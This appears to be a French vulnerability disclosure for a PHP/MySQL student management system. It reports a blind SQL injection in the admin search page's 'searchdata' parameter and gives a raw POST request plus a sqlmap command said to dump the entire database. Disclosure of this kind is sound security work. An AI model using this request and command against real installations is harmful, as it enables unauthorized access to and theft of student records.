
Système de gestion des étudiants utilisant PHP et MySQL
Le Système de Gestion des Étudiants (SMS) est une application web développée en PHP et MySQL pour gérer les informations des étudiants. Ce dépôt contient le code source et les détails du système, ainsi qu'un rapport de vulnérabilité de sécurité.
Auditeur :
Shoaib Alam - Profil LinkedIn
Une vulnérabilité d'Injection SQL Aveugle a été détectée dans le Système de Gestion des Étudiants. Ce problème affecte le paramètre searchdata dans la fonction de recherche de l'application.
/studentms/admin/search.phpsearchdataLe paramètre est sensible à une Injection SQL Aveugle en raison d'un assainissement insuffisant des entrées. Un attaquant pourrait exploiter cette vulnérabilité en injectant des requêtes SQL malveillantes dans l'entrée , obtenant potentiellement un accès non autorisé à la base de données ou à d'autres informations sensibles.
searchdatasearchdata/studentms/admin/search.php
POST /studentms/admin/search.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Origin: http://localhost
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://localhost/studentms/admin/search.php
Cookie: PHPSESSID=kq90r1jv25kn4flrqd74v1miqd
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
searchdata=*&search=
Enregistrez la requête POST ci-dessus dans un fichier req.txt à l'aide du Bloc-notes ou de tout éditeur de texte.
Utilisez un outil tel que SQLMAP pour exploiter la vulnérabilité en appliquant cette commande (vous pouvez la personnaliser) : sqlmap -r req.txt --dbs --random-agent --level 3 --risk 3
La commande ci-dessus videra l'intégralité de la base de données de l'application web.